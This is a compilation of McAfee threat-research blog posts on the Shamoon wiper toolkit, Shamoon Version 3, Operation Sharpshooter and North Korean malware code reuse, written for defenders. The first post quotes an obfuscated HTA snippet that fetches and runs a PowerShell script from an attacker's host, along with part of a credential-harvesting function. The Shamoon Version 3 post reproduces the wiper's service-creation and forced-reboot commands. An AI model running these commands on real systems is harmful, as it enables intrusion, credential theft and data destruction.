Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used […]

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Files “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

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Shamoon Returns to Wipe Systems in Middle East, Europe

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims. Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can […]

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims.

Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can take weeks or months, while resulting in unprofitability and diminished reputation.

Recent attacks have demonstrated how big the damage can be. Last year NotPetya affected several companies around the world. Last February, researchers uncovered OlympicDestroyer, which affected the Olympic Games organization.

Shamoon is destructive malware that McAfee has been monitoring since its appearance. The most recent wave struck early this month when the McAfee Foundstone Emergency Incident Response team reacted to a customer’s breach and identified the latest variant. Shamoon hit oil and gas companies in the Middle East in 2012 and resurfaced in 2016 targeting the same industry. This threat is critical for businesses; we recommend taking appropriate actions to defend your organizations.

During the past week, we have observed a new variant attacking several sectors, including oil, gas, energy, telecom, and government organizations in the Middle East and southern Europe.

Similar to the previous wave, Shamoon Version 3 uses several mechanisms as evasion techniques to bypass security as well to circumvent analysis and achieve its ends. However, its overall behavior remains the same as in previous versions, rendering detection straightforward for most antimalware engines.

As in previous variants, Shamoon Version 3 installs a malicious service that runs the wiper component. Once the wiper is running, it overwrites all files with random rubbish and triggers a reboot, resulting in a “blue screen of death” or a driver error and making the system inoperable. The variant can also enumerate the local network, but in this case does nothing with that information. This variant has some bugs, suggesting the possibility that this version is a beta or test phase.

The main differences from earlier versions are the name list used to drop the malicious file and the fabricated service name MaintenaceSrv (with “maintenance” misspelled). The wiping component has also been designed to target all files on the system with these options:

  • Overwrite file with garbage data (used in this version and the samples we analyzed)
  • Overwrite with a file (used in Shamoon Versions 1 and 2)
  • Encrypt the files and master boot record (not used in this version)

Shamoon is modular malware: The wiper component can be reused as a standalone file and weaponized in other attacks, making this threat a high risk. The post presents our findings, including a detailed analysis and indicators of compromise.

Analysis

Shamoon is a dropper that carries three resources. The dropper is responsible for collecting data as well as embedding evasion techniques such as obfuscation, antidebugging, or antiforensic tricks. The dropper requires an argument to run.

It decrypts the three resources and installs them on the system in the %System% folder. It also creates the service MaintenaceSrv, which runs the wiper. The typo in the service name eases detection.

The Advanced Threat Research team has watched this service evolve over the years. The following tables highlight the differences:


The wiper uses ElRawDisk.sys to access the user’s raw disk and overwrites all data in all folders and disk sectors, causing a critical state of the infected machine before it finally reboots.

The result is either a blue screen or driver error that renders the machine unusable.

Overview

Dropper

Executable summary

The dropper contains other malicious components masked as encrypted files embedded in PE section.

These resources are decrypted by the dropper and contain:

  • MNU: The communication module
  • LNG: The wiper component
  • PIC: The 64-bit version of the dropper

Shamoon 2018 needs an argument to run and infect machines. It decrypts several strings in memory that gather information on the system and determine whether to drop the 32-bit or 64-bit version.

It also drops the file key8854321.pub (MD5: 41f8cd9ac3fb6b1771177e5770537518) in the folder c:\Windows\Temp\key8854321.pub.

The malware decrypts two files used later:

  • C:\Windows\inf\mdmnis5tQ1.pnf
  • C:\Windows\inf\averbh_noav.pnf

Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy.

The malware checks whether the following shares exist to copy itself and spread:

  • ADMIN$
  • C$\WINDOWS
  • D$\WINDOWS
  • E$\WINDOWS

Shamoon queries the service to retrieve specific information related to the LocalService account.

It then retrieves the resources within the PE file to drop the components. Finding the location of the resource:

Shamoon creates the file and sets the time to August 2012 as an antiforensic trick. It puts this date on any file it can destroy.

The modification time can be used as an antiforensic trick to bypass detection based on the timeline, for example. We also observed that in some cases the date is briefly modified on the system, faking the date of each file. The files dropped on the system are stored in C:\\Windows\System32\.

Before creating the malicious service, Shamoon elevates its privilege by impersonating the token. It first uses LogonUser and ImpersonateLoggedOnUser, then ImpersonateNamedPipeClient. Metasploit uses a similar technique to elevate privileges.

Elevating privileges is critical for malware to perform additional system modifications, which are usually restricted.

Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10):

If the service is already created, it changes the configuration parameter of the service with the previous configuration.

It finally finishes creating MaintenaceSrv:

The wiper dropped on the system can have any one of the following names:

 

 

 

The worm module dropped on the system can have any one of the following names:

Next the wiper runs to destroy the data.

Wiper

The wiper component is dropped into the System32 folder. It takes one parameter to run. The wiper driver is embedded in its resources.

We can see the encrypted resources, 101, in this screenshot:

The resource decrypted is the driver ElRawDisk.sys, which wipes the disk.

Extracting the resource:

This preceding file is not malicious but is considered risky because it is the original driver.

The wiper creates a service to run the driver with the following command:

sc create hdv_725x type= kernel start= demand binpath= WINDOWS\hdv_725x.sys 2>&1 >nul

 

The following screenshot shows the execution of this command:

 

The malware overwrites every file in c:\Windows\System32, placing the machine in a critical state. All the files on the system are overwritten.

The overwriting process:

Finally, it forces the reboot with the following command:

Shutdown -r -f -t 2

 

Once the system is rebooted it shows a blue screen:

Worm

The worm component is extracted from the resources from the dropper. Destructive malware usually uses spreading techniques to infect machines as quickly as possible.

The worm component can take the following names:

We noticed the capability to scan for the local network and connect to a potential control server:

Although the worm component can spread the dropper and connect to a remote server, the component was not used in this version.

Conclusion

Aside from the major destruction this malware can cause, the wiper component can be used independently from the dropper. The wiper does not have to rely on the main stub process. The 2018 Shamoon variant’s functionality indicates modular development. This enables the wiper to be used by malware droppers other than Shamoon.

Shamoon is showing signs of evolution; however, these advancements did not escape detection by McAfee DATs. We expect to see additional attacks in the Middle East (and beyond) by these adversaries. We will continue to monitor our telemetry and will update this analysis as we learn more.

MITRE ATT&CK™ matrix

Indicators of compromise

McAfee detection

  • Trojan-Wiper!DE07C4AC94A5
  • RDN/Generic.dx
  • Trojan-Wiper

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‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure

This post was written with contributions from the McAfee Advanced Threat Research team.   The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download […]

The post ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure appeared first on McAfee Blogs.

This post was written with contributions from the McAfee Advanced Threat Research team.  

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.

Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

Read our full analysis of Operation Sharpshooter.

Have we seen this before?

This campaign, while masquerading as legitimate industry job recruitment activity, gathers information to monitor for potential exploitation. Our analysis also indicates similar techniques associated with other job recruitment campaigns.

Global impact

In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis. Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office. This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest. The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations.

Targeted organizations by sector in October 2018. Colors indicate the most prominently affected sector in each country. Source: McAfee® Global Threat Intelligence.

Infection flow of the Rising Sun implant, which eventually sends data to the attacker’s control servers.

 

Conclusion

Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence. The malware moves in several steps. The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in memory and gathers intelligence. The victim’s data is sent to a control server for monitoring by the actors, who then determine the next steps.

We have not previously observed this implant. Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators.

Was this attack just a first-stage reconnaissance operation, or will there be more? We will continue to monitor this campaign and will report further when we or others in the security industry receive more information. The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.

 

Indicators of compromise

MITRE ATT&CK™ techniques

  • Account discovery
  • File and directory discovery
  • Process discovery
  • System network configuration discovery
  • System information discovery
  • System network connections discovery
  • System time discovery
  • Automated exfiltration
  • Data encrypted
  • Exfiltration over command and control channel
  • Commonly used port
  • Process injection

Hashes

  • 8106a30bd35526bded384627d8eebce15da35d17
  • 66776c50bcc79bbcecdbe99960e6ee39c8a31181
  • 668b0df94c6d12ae86711ce24ce79dbe0ee2d463
  • 9b0f22e129c73ce4c21be4122182f6dcbc351c95
  • 31e79093d452426247a56ca0eff860b0ecc86009

Control servers

  • 214.99.20/view_style.php
  • 74.41.56/board.php
  • com.sg/board.php

Document URLs

  • hxxp://208.117.44.112/document/Strategic Planning Manager.doc
  • hxxp://208.117.44.112/document/Business Intelligence Administrator.doc
  • hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc?dl=1

McAfee detection

  • RDN/Generic Downloader.x
  • Rising-Sun
  • Rising-Sun-DOC

 

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Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families

This research is a joint effort by Jay Rosenberg, senior security researcher at Intezer, and Christiaan Beek, lead scientist and senior principal engineer at McAfee. Intezer has also posted this story. 
Attacks from the online groups Lazarus, Silent Ch…

This research is a joint effort by Jay Rosenberg, senior security researcher at Intezer, and Christiaan Beek, lead scientist and senior principal engineer at McAfee. Intezer has also posted this story. 

Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea. But how can we know with certainty? And what connection does a DDoS and disk-wiping attack from July 4, 2009, have with WannaCry, one of the largest cyberattacks in the history of the cyber sphere?  

From the Mydoom variant Brambul to the more recent Fallchill, WannaCry, and the targeting of cryptocurrency exchanges, we see a distinct timeline of attacks beginning from the moment North Korea entered the world stage as a significant threat actor.

Bad actors have a tendency to unwittingly leave fingerprints on their attacks, allowing researchers to connect the dots between them. North Korean actors have left many of these clues in their wake and throughout the evolution of their malware arsenal.

This post reflects months of research; in it we will highlight our code analysis illustrating key similarities between samples attributed to the Democratic People’s Republic of Korea, a shared networking infrastructure, and other revealing data hidden within the binaries. Together these puzzle pieces show the connections between the many attacks attributed to North Korea and categorize different tools used by specific teams of their cyber army.

Valuable context 

This article is too short to dig deeply into the history, politics, and economic changes of recent years. Nonetheless, we must highlight some events to put past and present cyber events into perspective.

The DPRK, like any country, wants to be as self-sufficient and independent as possible. However, for products such as oil, food, and foreign currency for trading, the country lacks resources and has to find ways of acquiring them. What can a nation do when legal international economics are denied? To survive, it must gain foreign currency for trading. One of the oldest ways to do this is to join the worlds of gambling (casinos) and drugs. In 2005, the United States wanted to shut down North Korean enterprises involved in illegal operations. They investigated a couple of banks in Asia that seemed to have ties with North Korea and operated as money laundering sites. One bank in particular is controlled by a billionaire gambling mogul who started a casino in Pyongyang and has close ties to Pyongyang. That bank, based in Macau, came back into the picture during an attack on the SWIFT financial system of a bank in Vietnam in 2015. The Macau bank was listed twice in the malware’s code as a recipient of stolen funds:

Figure 1: SWIFT code in malware.

Code reuse

There are many reasons to reuse malware code, which is very common in the world of cybercrime. If we take an average ransomware campaign, for example, once the campaign becomes less successful, actors often change some of basics such as using a different packer to bypass defenses. With targeted campaigns, an adversary must keep its tools undetected for as long as possible. By identifying reused code, we gain valuable insights about the “ancestral relations” to known threat actors or other campaigns. Our research was heavily focused on this type of analysis.

In our years of investigating cyber threats, we have seen the DPRK conduct multiple cyber campaigns. In North Korea, hackers’ skills determine which cyber units they work for. We are aware two major focuses of DPRK campaigns: one to raise money, and one to pursue nationalist aims. The first workforce gathers money for the nation, even if that means committing cybercrime to hack into financial institutions, hijack gambling sessions, or sell pirated and cracked software. Unit 180 is responsible for illegally gaining foreign currency using hacking techniques. The second workforce operates larger campaigns motivated by nationalism, gathering intelligence from other nations, and in some cases disrupting rival states and military targets. Most of these actions are executed by Unit 121.

We focused in our research on the larger-scale nationalism-motivated campaigns, in which we discovered many overlaps in code reuse. We are highly confident that nation-state–sponsored groups were active in these efforts.

Timeline 

We created a timeline of most of the malware samples and noticeable campaigns that we examined. We used primarily open-source blogs and papers to build this timeline and used the malware artifacts as a starting point of our research.

 

Figure 2: Timeline of malware and campaigns.

Analysis and observations

Similarities

During our research, we found many malware family names that are believed to be associated with North Korea’s cyber operations. To better understand this threat actor and the similarities between the campaigns, we have used Intezer’s code similarity detection engine to plot the links between a vast number of these malware families.

The following graph presents a high-level overview of these relations. Each node represents a malware family or a hacking tool (“Brambul,” “Fallchill,” etc.) and each line presents a code similarity between two families. A thicker line correlates to a stronger similarity. In defining similarities, we take into account only unique code connections, and disregard common code or libraries. This definition holds both for this graph and our entire research.

 

Figure 3: Code similarities between North Korean–associated malware families.

We can easily see a significant amount of code similarities between almost every one of the attacks associated with North Korea. Our research included thousands of samples, mostly unclassified or uncategorized. This graph was plotted using a data set of only several hundred samples, so there might be more connections than displayed here. 

Deep technical analysis 

During our research, we came across many code similarities between North Korean binaries that had not been seen before. Some of these attacks and malware have not been linked to one another, at least publicly. We will showcase four examples of reused code that has been seen only in malware attributed to North Korea.

  1. Common SMB module

The first code example appeared in the server message block (SMB) module of WannaCry in 2017, Mydoom in 2009, Joanap, and DeltaAlfa. Further shared code across these families is an AES library from CodeProject. These attacks have been attributed to Lazarus; that means the group has reused code from at least 2009 to 2017.

Figure 4: Code overlap of a Mydoom sample.

In the next screenshots we highlight the exact code block that reflects the SMB module we found in campaigns other than WannaCry and Mydoom.

Figure 5: An SMB module common to several attacks.

A lot has been written about WannaCry. As we analyze the code against our databases, we can draw the following overview:

Figure 6: WannaCry code comparison overview.

For our research we compared the three major variants of WannaCry. An early release, called a beta, from February 2017, one from April, and the infamous one that hit the world in May.

  1. Common file mapping

The second example demonstrates code responsible for mapping a file and using the XOR key 0xDEADBEEF on the first four bytes of the file. This code has appeared in the malware families NavRAT and Gold Dragon, plus a certain DLL from the South Korean gambling hacking campaign. These three RATs are thought to be affiliated with North Korea’s Group 123. NavRAT and the gambling DLL share more code, making them closer variants.

Figure 7: Code overlap in a NavRAT sample.

Figure 8: File-mapping code 

  1. Unique net share

The third example, responsible for launching a cmd.exe with a net share, has been seen in 2009’s Brambul, also known as SierraBravo, as well as KorDllBot in 2011. These malware families are also attributed to the Lazarus group.

Figure 9: Code overlap of a SierraBravo (Brambul) sample.

Figure 10: A code block reused in the malware families Brambul/SierraBravo and KorDllBot.

  1. Operation Dark Hotel

In 2014, Kaspersky reported a more than seven-year campaign against Asian hotels, in which the adversaries used an arsenal of tools to break into the computers of hotel visitors. Zero days and control servers were used, along with the malware family Tapaoux, or DarkHotel, according to the report.

While we examined the DPRK samples, we noticed a hit with the Dark Hotel samples in our collections. By going through the code, we noticed several pieces of code overlap and reuse, for example, with samples from Operation Troy.

Figure 11: Code overlap in a Dark Hotel sample.

Identifying a group

By applying what we learned from our comparisons and code-block identifications, we uncovered possible new links between malware families and the groups using them.

With the different pieces of malware we have analyzed, we can illustrate the code reuse and sharing between the groups known to be affiliated with North Korea.

 

Figure 12: Groups and families linked by code reuse.

The malware attributed to the group Lazarus has code connections that link many of the malware families spotted over the years. Lazarus is a collective name for many DPRK cyber operations, and we clearly see links between malware families used in different campaigns.

The malware (NavRAT, gambling, and Gold Dragon) possibly created by Group 123 are connected to each other but are separate from those used by Lazarus. Although these are different units focusing on different areas, there seems to be a parallel structure in which they collaborate during certain campaigns.

MITRE ATT&CK

From our research of these malware samples, we can identify the following techniques used by the malware families:

When we zoom in on the Discovery category in the MITRE model, for example, we notice that the techniques are typical for first-stage dropper malware. The adversary drops these samples on victims’ machines and collects information on where they landed in the victims’ networks and which user/access rights they gained.

In 2018, we saw examples of campaigns in which attackers used PowerShell to download and execute these droppers. Once information has been sent to a control server, the adversary determines the next steps, which often include installing a remote access tool to enable lateral movement on the network and pursue the goals of the campaign.

Final words

Security vendors and researchers often use different names when speaking about the same malware, group, or attack. This habit makes it challenging to group all the malware and campaigns. By taking a scientific approach, such as looking for code reuse, we can categorize our findings. We believe our research will help the security community organize the current “mess” we face in relation to North Korean malware and campaigns.

We clearly saw a lot of code reuse over the many years of cyber campaigns we examined. This indicates the North Koreans have groups with different skills and tools that execute their focused parts of cyber operations while also working in parallel when large campaigns require a mix of skills and tools.

We found our months of research, data gathering, and analysis very satisfying. By combining our skills, data, and technology, we were able to draw connections and reveal links that we had not seen before. The cybersecurity industry would greatly benefit from more collaboration and sharing of information, and we hope that this effort between McAfee and Intezer will inspire the community to work together more often.

The authors thank Costin Raiu for providing them with samples they did not have in their collections.

Sources

Glenn Simpson, Gordon Fairclough, and Jay Solomon, “U.S. Probes Banks’ North Korea Ties.” Wall Street Journal, last updated September 8, 2005.

Christiaan Beek, “Attacks on SWIFT Banking system benefit from insider knowledge.” https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/

Atif Mushtaq, “DDOS Madness Continued…” https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html

Ryan Sherstobitoff and Jessica Saavedra-Morales, “Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems.” https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/ 

Alex Drozhzhin, “Darkhotel: a spy campaign in luxury Asian hotels.” https://www.kaspersky.com/blog/darkhotel-apt/6613/ 

Warren Mercer, Paul Rascagneres, and Jungsoo An, “NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea.” https://blog.talosintelligence.com/2018/05/navrat.html 

Sergei Shevchenko and Adrian Nish, “Cyber Heist Attribution.https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html

Mydoom code reuse report. https://analyze.intezer.com/#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad

NavRAT code reuse report. https://analyze.intezer.com/#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb

SierraBravo code reuse report. https://analyze.intezer.com/#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c

Dark Hotel code reuse report. https://analyze.intezer.com/#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4

Kang Jang-ho, “A foreign currency earned with a virtual currency … What is the life of a North Korean hacker?” http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple

Awesome work by the team responsible for the “Operation Blockbuster” report. https://www.operationblockbuster.com/resources/

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